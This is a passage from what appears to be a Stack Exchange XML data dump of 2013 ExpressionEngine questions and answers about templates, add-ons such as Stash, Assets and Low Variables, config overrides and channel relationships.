a sloppy approach. Building a proper extension / module and implementing solid validation is likely the way to go. For someone like me who's way quicker in JS than EE Extension Development, this was a nice workaround. At the very least, hopefully this approach brings other methods to light =).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best of luck!&lt;/p&gt;&#xA;" OwnerUserId="1626" LastActivityDate="2013-07-25T03:00:47.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12240" PostTypeId="1" AcceptedAnswerId="12244" CreationDate="2013-07-25T07:16:24.083" Score="1" ViewCount="28" Body="&lt;p&gt;Is it possible to access segment or page information in the hooks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each hook has different parameters so I can't rely on those to get segment information.&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-07-25T09:18:26.987" Title="Access segments in hooks" Tags="|segments|hook|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12242" PostTypeId="1" CreationDate="2013-07-25T09:03:49.603" Score="0" ViewCount="22" Body="&lt;p&gt;I have created a low variable that uses wyvern for a section of the page, although i cannot get the wyvern content to display at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zh6lS.png&quot; alt=&quot;Screen Shot of low variable&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code to call in the variable is : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:low_variables:pair var=&quot;gv-online-training&quot;}&#xA;    {gv-online-training}&#xA;{/exp:low_variables:pair}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am i doing wrong anyone? &lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2013-07-25T12:33:40.093" Title="Low variables and wyvern" Tags="|low-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12243" PostTypeId="1" CreationDate="2013-07-25T09:15:33.593" Score="1" ViewCount="44" Body="&lt;p&gt;I am looking to create lists/groups of data from the Solspace User addon.&#xA;I am looking to list the members by their join_date from a certain group_id, for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;July 2013 (2 members)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;member 5&lt;/li&gt;&#xA;&lt;li&gt;member 4&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;June 2013 (3 members)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;member 3&lt;/li&gt;&#xA;&lt;li&gt;member 2&lt;/li&gt;&#xA;&lt;li&gt;member 1&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Would it be possible to display the number of members per group / month?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would i go about doing this using PHP to create arrays for each grouping {join_date} should accept a format=&quot;&quot; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there a way to do this with the Stash plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-10-30T13:58:28.307" Title="Create month member groups/lists from Solspace User addon" Tags="|members|stash|php|solspace-user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12244" PostTypeId="2" ParentId="12240" CreationDate="2013-07-25T09:18:26.987" Score="2" Body="&lt;p&gt;You should look into &quot;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/uri.html&quot; rel=&quot;nofollow&quot;&gt;URI Class&lt;/a&gt;&quot; &lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-07-25T09:18:26.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12246" PostTypeId="2" ParentId="12235" CreationDate="2013-07-25T09:43:20.383" Score="1" Body="&lt;p&gt;In the hooked function you can return the error message which will be displayed as &quot;User Message&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function function_name($member_id, $data)&#xA;{&#xA;$errors = array();&#xA;#####&#xA;Data processing with API&#xA;&#xA;Put all the errors into the array $errors&#xA;&#xA;#####&#xA;&#xA;if( count ($errors) &amp;gt; 0 )&#xA;return $this-&amp;gt;EE-&amp;gt;output-&amp;gt;show_user_error('general', $errors);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope, it would help you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-07-25T09:43:20.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12247" PostTypeId="1" AcceptedAnswerId="12249" CreationDate="2013-07-25T11:39:52.440" Score="0" ViewCount="169" Body="&lt;p&gt;I have two questions for you:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;changing the settings for the site_url with&#xA;&lt;code&gt;$config['site_url'] = &quot;http://domain/&quot;;&lt;/code&gt; in config.php works as expected in some places. But the paths in the channel preferences are still not affected by this override.&#xA;Shouldn they be?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How do I, in the config.php, define the the path to directory where the the templatefiles are stored?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;/yours truly&lt;/p&gt;&#xA;" OwnerUserId="481" LastActivityDate="2013-07-25T12:01:16.887" Title="overrides in config.php site_url and templatefiles" Tags="|config|config-overrides|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12248" PostTypeId="2" ParentId="12219" CreationDate="2013-07-25T11:40:16.320" Score="1" Body="&lt;p&gt;Assets has field tag parameters that correspond with each of its metadata fields (see &lt;a href=&quot;http://docs.pixelandtonic.com/assets/templating/field.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.pixelandtonic.com/assets/templating/field.html&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you pass your ‘title’ search input as POST data on the page, you can fetch that value and pass it into Assets’ &lt;code&gt;title&lt;/code&gt; param using the &lt;a href=&quot;http://devot-ee.com/add-ons/get-post-parameters&quot; rel=&quot;nofollow&quot;&gt;GET/POST Parameters&lt;/a&gt; add-on like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{page-gallery title=&quot;{exp:parameters post='asset_title'}&quot;}&#xA;    ...&#xA;{/page-gallery}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-07-25T11:40:16.320" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12249" PostTypeId="2" ParentId="12247" CreationDate="2013-07-25T12:01:16.887" Score="2" Body="&lt;p&gt;1) I think, you need to update the paths in channel preference as it wouldn't be effected with Site URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) You need to set &lt;code&gt;$config['tmpl_file_basepath'] = '';&lt;/code&gt; to specify the directory where templates will be stored as file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see all config variables from: &lt;a href=&quot;http://devot-ee.com/ee-config-vars&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/ee-config-vars&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-07-25T12:01:16.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12250" PostTypeId="2" ParentId="12242" CreationDate="2013-07-25T12:33:40.093" Score="1" Body="&lt;p&gt;I don't think the tag pair is what you are looking for. Try the single tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:single var=&quot;gv-online-training&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or alternatively, just:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{gv-online-training}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-07-25T12:33:40.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12251" PostTypeId="2" ParentId="11917" CreationDate="2013-07-25T12:36:09.907" Score="2" Body="&lt;p&gt;I think its related with some gateways doesn't requiere CC info recollected before the actual payment (usually for offsite payments). What gateway are you using? Also check help.electricfunction.com I remember seeing very similar question already&lt;/p&gt;&#xA;" OwnerUserId="281" LastActivityDate="2013-07-25T12:36:09.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12252" PostTypeId="2" ParentId="12228" CreationDate="2013-07-25T13:01:41.437" Score="1" Body="&lt;p&gt;That likely comes down to how you are placing the shortcode into the Wygwam field - the &lt;p&gt; tags are likely wrapped around {image_1} before any replacement is done. Have you tried this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{image_1}Climb leg rub face on everything give attitude nap all day for under the bed. Chase mice attack feet but rub face on everything hopped up on goofballs.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That may still not be exactly what you are looking for though, since it would place the image within the &lt;p&gt; tgs of the paragraph. But you should still be able to use your CSS to compensate though, applying your desired styling to the combination of p tag followed by img tag - particularly if you surround the wygwam field with something to allow you to target is specifically.  Then you wouldn't necessarily need to remove it in the code, just remove its impact visually.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-07-25T13:01:41.437" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12253" PostTypeId="1" CreationDate="2013-07-25T13:17:47.023" Score="0" ViewCount="87" Body="&lt;p&gt;A month ago my site got hacked. I only found out there was a problem because I got an email alert saying 'a core file on your site has been modified'. Now we've been hacked twice in the same week by the same people, and I haven't had that email alert telling me to fix it. How do I re-enable this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yes, I am focusing on trying to stop them from hacking at the moment.&lt;/p&gt;&#xA;" OwnerUserId="1273" LastActivityDate="2013-07-25T13:17:47.023" Title="How do I toggle alerts when a core file is modified?" Tags="|notification|core|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12254" PostTypeId="1" CreationDate="2013-07-25T13:45:24.913" Score="1" ViewCount="70" Body="&lt;p&gt;I have a site with a list of members and each member is listed in a business directory.  I am using solspace user to handle my members and display their location on a map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THe issue I have run into is that some members have more than one location so I need to come up with a method to allow them to add a second location. (and sometimes 3 or 4 additional locations)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are my options?  add many new member fields or build a new channel to handle additional stores?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I laready have hundreds of members with their info already in there, so changing the members with a single store is not really an option.  I only need to add on the option of additional stores.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using this bit of code in a map widget:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:user:users sort=&quot;asc&quot; limit=&quot;100&quot; group_id=&quot;5&quot; search:shipping_region=&quot;NB&quot; search:retailer_type=&quot;not Pending|Web&quot;}&#xA;    {if longitude}&#xA;     {&#xA;        &quot;properties&quot;: {                         &#xA;            &quot;tags&quot;: [],&#xA;            &quot;phone&quot;: &quot;{shipping_phone}&quot;,&#xA;            &quot;classifiers&quot;: ['a'],&#xA;            &quot;address&quot;: &quot;{shipping_address1}&quot;,&#xA;            &quot;name&quot;: &quot;{shipping_name}&quot;,&#xA;            &quot;province&quot;: &quot;{shipping_region}&quot;,&#xA;            &quot;owner&quot;: &quot;welocally&quot;,&#xA;            &quot;postcode&quot;: &quot;&quot;,&#xA;            &quot;city&quot;: &quot;{shipping_address3}&quot;,&#xA;            &quot;country&quot;: &quot;{shipping_country}&quot;,&#xA;            &quot;website&quot;: &quot;{website}&quot;&#xA;        },&#xA;        &quot;type&quot;: &quot;Place&quot;,&#xA;        &quot;geometry&quot;: {&#xA;            &quot;type&quot;: &quot;Point&quot;,&#xA;            &quot;coordinates&quot;: [ {longitude},{latitude} ]&#xA;        }&#xA;    },&#xA;    {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/exp:user:users} &lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-08-24T14:17:30.233" Title="advice on displaying a business directory / member list" Tags="|channel|solspace-user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12255" PostTypeId="2" ParentId="12254" CreationDate="2013-07-25T14:06:05.307" Score="1" Body="&lt;p&gt;Couldn't you just add a matrix field for &quot;other locations&quot; to allow the user to define their other locations as needed, leaving your existing member location field intact (basically turning it into their &quot;primary&quot; location)?&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-07-25T14:06:05.307" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12256" PostTypeId="2" ParentId="11917" CreationDate="2013-07-25T14:19:34.397" Score="2" Body="&lt;p&gt;Davor is right, it looks like &lt;a href=&quot;http://help.electricfunction.com/discussions/membrr-for-ee/12487-renewal-doesnt-require-cc-info&quot; rel=&quot;nofollow&quot;&gt;this question&lt;/a&gt; is very similar. It notes a bug and an update to eWay and Stripe payment gateway code for Membrr.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, you might also consider using some client side form validation to avoid the form being submitted at all without the CC# field being validated. On our site we use the &lt;a href=&quot;http://jqueryvalidation.org&quot; rel=&quot;nofollow&quot;&gt;jQuery validation plug-in&lt;/a&gt;. If you want to see it in action on our site you can &lt;a href=&quot;https://www.macobserver.com/tmo/store/order/1001&quot; rel=&quot;nofollow&quot;&gt;see it here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="384" LastActivityDate="2013-07-25T14:19:34.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12257" PostTypeId="1" CreationDate="2013-07-25T14:55:33.767" Score="1" ViewCount="71" Body="&lt;p&gt;I'm looking to create a file repository of PDFs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way I was thinking to do this is to just use the native file manager with categories to sort the content.  But I would prefer to use Assets, but I can't find anywhere mentioning if it supports categories or not?&lt;/p&gt;&#xA;" OwnerUserId="807" LastActivityDate="2013-08-24T16:17:51.910" Title="Does Assets support categories?" Tags="|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12258" PostTypeId="2" ParentId="12257" CreationDate="2013-07-25T15:38:10.207" Score="1" Body="&lt;p&gt;If you need to organize it at the back end, you can do this very easily using folders in assets. So that is not strictly a category, but might fill the purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the front end it's super fast as well. You can insert a complete folder in a field in one go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing might be that it will not automatically update files that are added in the back end, you would need to add these in the field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS; you can order the items at will, by dragging them around in the field.&lt;/p&gt;&#xA;" OwnerUserId="555" LastActivityDate="2013-07-25T15:38:10.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12259" PostTypeId="1" AcceptedAnswerId="12263" CreationDate="2013-07-25T16:28:46.323" Score="1" ViewCount="72" Body="&lt;p&gt;Hi what would be a good starting point for building the following functionality with EE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Level 1: Main product categories - page listing all main categories&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Level 2: Selecting a main category takes user to list of sub categories within the main category&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Level 3: Selecting subcategory takes user to a list of products within the subcategory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Level 4: Product page &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Importantly products would need to feature in several categories which would be easily selected in the admin panel by my client. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would an addon like Matrix help with this?&lt;/p&gt;&#xA;" OwnerUserId="1822" LastActivityDate="2013-07-25T17:18:42.760" Title="Multiple product categories non ecommerce site" Tags="|ee2|matrix|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12261" PostTypeId="1" AcceptedAnswerId="12285" CreationDate="2013-07-25T16:42:43.363" Score="2" ViewCount="416" Body="&lt;p&gt;I have multiple channels with different field groups, but several duplicate fields. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Channels:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;products_bikes&lt;/li&gt;&#xA;&lt;li&gt;products_skateboards&lt;/li&gt;&#xA;&lt;li&gt;products_trikes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Fields:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;bikes_summary&lt;/li&gt;&#xA;&lt;li&gt;skateboards_summary&lt;/li&gt;&#xA;&lt;li&gt;trikes_summary&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I use the same detail template to output info for all of the channels, but with the duplicate fields, I have to repeat the &quot;summary&quot; field 3 times:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel='products_bikes|products_skateboards|products_trikes'&#xA;}&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;&#xA;    {bikes_summary}&#xA;    {skateboards_summary}&#xA;    {trikes_summary}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this isn't the only field that's repeated. So that can get pretty hairy, especially if I need to check if a field is empty or not, or if I want to add another product type in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So ideally I'd be able to set a channel prefix, and use it in a single field tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{{channel_prefix}_summary}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't use the &lt;code&gt;channel_short_name&lt;/code&gt; because it doesn't match up, so I figured Stash might be able to do it. I tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:channel_prefix}&#xA;    {if channel_short_name == 'products_bikes'}&#xA;        bikes&#xA;    {/if}&#xA;    {if channel_short_name == 'products_skateboards'}&#xA;        skateboards&#xA;    {/if}&#xA;    {if channel_short_name == 'products_trikes'}&#xA;        trikes&#xA;    {/if}&#xA;{/exp:stash:channel_prefix}&#xA;&#xA;{{exp:stash:channel_prefix}_summary}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that output the text &quot;{bikes_summary}&quot; rather than parsed the field tag. I figure parse order has to do with it, but I'm not sure how to fix it - or if it's possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-07-26T10:22:32.190" Title="Set Custom Field Prefix With Stash" Tags="|stash|custom-fields|parse-order|dry|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12262" PostTypeId="1" CreationDate="2013-07-25T16:44:27.700" Score="1" ViewCount="197" Body="&lt;p&gt;Love this accessory by Brandon Kelly / P&amp;amp;T:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/module-nav&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/module-nav&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works like a charm. Only now, I'm getting this error in the developer log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Deprecated function generate_json() called in system/expressionengine/third_party/module_nav/acc.module_nav.php on line 82. &#xA;Deprecated since 2.6. Use the native JSON extension (json_encode()) instead.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Appears to still be working but the forum at devot-ee is closed. Anybody know if this is still supported by the developer? Or what to do to upgrade it? Tried swapping out the function but it failed.&lt;/p&gt;&#xA;" OwnerUserId="1679" LastEditorUserId="150" LastEditDate="2013-08-25T19:41:25.183" LastActivityDate="2013-08-25T19:41:25.183" Title="Deprecation warnings for P&amp;T Module Nav" Tags="|pixelandtonic|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12263" PostTypeId="2" ParentId="12259" CreationDate="2013-07-25T17:18:42.760" Score="0" Body="&lt;p&gt;I can't see one single reason for an add-on other than &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;Low Seg2Cat&lt;/a&gt; on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/category_management.html&quot; rel=&quot;nofollow&quot;&gt;default category management&lt;/a&gt; of EECMS can handle this pretty well.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-07-25T17:18:42.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12264" PostTypeId="2" ParentId="12223" CreationDate="2013-07-25T17:21:50.290" Score="3" Body="&lt;p&gt;Hard to help without seeing your template code, but since you said some errors work, I'm assuming your submit button is actually just updating the cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Store, the name of your submit button affects what action it triggers. For example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;&amp;lt;input type=&quot;submit&quot; name=&quot;empty_cart&quot; value=&quot;Click me&quot; /&amp;gt;&lt;/code&gt; will empty the cart&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;&amp;lt;input type=&quot;submit&quot; name=&quot;next&quot; value=&quot;Click me&quot; /&amp;gt;&lt;/code&gt; will proceed to the URL specified in the &lt;code&gt;next&lt;/code&gt; parameter in your template tag (the next step of the checkout)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Click me&quot; /&amp;gt;&lt;/code&gt; will submit the cart (and proceed to the payment gateway)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;&amp;lt;input type=&quot;submit&quot; name=&quot;commit&quot; value=&quot;Click me&quot; /&amp;gt;&lt;/code&gt; will also submit the cart (sometimes &lt;code&gt;submit&lt;/code&gt; can cause issues with javascript form submissions, so &lt;code&gt;commit&lt;/code&gt; is provided as an alternative)&lt;/li&gt;&#xA;&lt;li&gt;Anything else is treated as &quot;Update Cart&quot;, and will update the cart totals and redirect back to the current page. I assume this is what is happening in your case.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For more info see: &lt;a href=&quot;https://exp-resso.com/docs/store/checkout_tag.html#submitting_orders&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/store/checkout_tag.html#submitting_orders&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-07-25T17:21:50.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12265" PostTypeId="1" CreationDate="2013-07-25T18:07:27.803" Score="1" ViewCount="44" Body="&lt;p&gt;My site is an administrative site and used by a small number of inside staff.  We have multiple maillist and at times need to send an email to the list.  I want to use a communicate type form from the site not CP so that my users just have one place to go for everything.  I have tried tell_a_friend but cannot get it to work.&lt;/p&gt;&#xA;" OwnerUserId="1823" LastActivityDate="2013-07-25T18:07:27.803" Title="I want to send email from the site to a mailling list" Tags="|email|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12266" PostTypeId="2" ParentId="12206" CreationDate="2013-07-25T18:14:17.907" Score="1" Body="&lt;p&gt;Assuming you're using the latest versions of ExpressionEngine (2.6.x) and Rating (3.2.x), you can display the status of the rating submission by using the {rating_status} variable within the {exp:rating:entries} tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was not documented for some reason, so I will be documenting it now. :)&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-07-25T18:14:17.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12267" PostTypeId="2" ParentId="12261" CreationDate="2013-07-25T18:31:23.933" Score="0" Body="&lt;p&gt;Stash doesn't work for this because their tow instances are parsed on the same parsing stage. So, when you call &lt;code&gt;stash:channel_prefix&lt;/code&gt; its value isn't available yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your better option is to remove the &quot;products_&quot; prefix from the short names of the channels.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-07-25T18:31:23.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12268" PostTypeId="1" AcceptedAnswerId="12269" CreationDate="2013-07-25T19:02:07.587" Score="0" ViewCount="55" Body="&lt;p&gt;I'm working with a client that uses EE to promote its annual conferences. Although I haven't used it yet, the Relationship field in EE 2.6.x seems like it would be perfect for what I have in mind, but I am hoping to get some advice on how to best set it up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each conference has a number of presentations, each of which has one or more presenters. I'm thinking the relationships would be organized like so:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Conferences&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Presentations&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Presenters&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Assuming that each of these are the names of my channels, how should I create the relationships between them? One relationship that links them all? One for Conferences and Presentations and another for Presentations and Presenters?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers on how to set this up would be greatly appreciated--thank you! &lt;/p&gt;&#xA;" OwnerUserId="1109" LastActivityDate="2013-07-25T19:20:32.973" Title="Using the new Relationships field for a conference site" Tags="|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12269" PostTypeId="2" ParentId="12268" CreationDate="2013-07-25T19:20:32.973" Score="1" Body="&lt;p&gt;Seems to me like everything could be controlled from the middle of the relationship.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside your presentations channel field group, you would have a conferences relationship field linked to the conferences channel.  And also in that field group, you would have a relationship field to your presenters channel.  This leaves your conferences as the parent, which is what you would want since they would change with the least frequency.  That's how I've done it before myself, anyway, and it worked well.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-07-25T19:20:32.973" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12270" PostTypeId="1" CreationDate="2013-07-25T19:40:21.607" Score="0" ViewCount="210" Body="&lt;p&gt;I am working in a channel entries tag. I want to return an array of category names that are selected in the entry, if they are in group_id 4. This is what I have so far...  however, it is returning &lt;strong&gt;all&lt;/strong&gt; my categories in group_id 4 not just the ones selected in that entry.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE =&amp;amp; get_instance();&#xA;$res = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;select('cat_name')-&amp;gt;where('group_id', 4)-&amp;gt;get('categories')-&amp;gt;result_array();&#xA;    foreach ($res as $r)&#xA;    {&#xA;        $entryregionArr[] = $r['cat_name'];&#xA;    }&#xA;    if (in_array($_GET['region'], $entryregionArr)) {&#xA;        echo &quot;Africa is in this array&quot;;&#xA;    }&#xA;&#xA;   print_r($res);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am then going to see if my $_Get value is in the array. Right now with all the categories in group_id 4 returning, Africa is always in the array. so it returns everytime.&lt;/p&gt;&#xA;" OwnerUserId="1246" LastActivityDate="2013-09-24T05:46:31.683" Title="How do I use DB SELECT to return only CHOSEN categories in a specific group while in an entries tag?" Tags="|categories|query|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12271" PostTypeId="1" AcceptedAnswerId="12279" CreationDate="2013-07-25T20:14:45.740" Score="3" ViewCount="463" Body="&lt;p&gt;On occasion a &lt;code&gt;&amp;lt;figure&amp;gt;&lt;/code&gt; tag will make it through WYGWAM with a &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; wrapped around it which breaks my layout (and is incorrect formatting anyway). Can I remove just the &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags that appear around specific elements? If so, how?&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2013-07-26T03:20:52.287" Title="How can I strip &lt;p&gt; tags from entry content, but only if it's wrapped around a &lt;figure&gt;?" Tags="|wygwam|content|strip-html|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
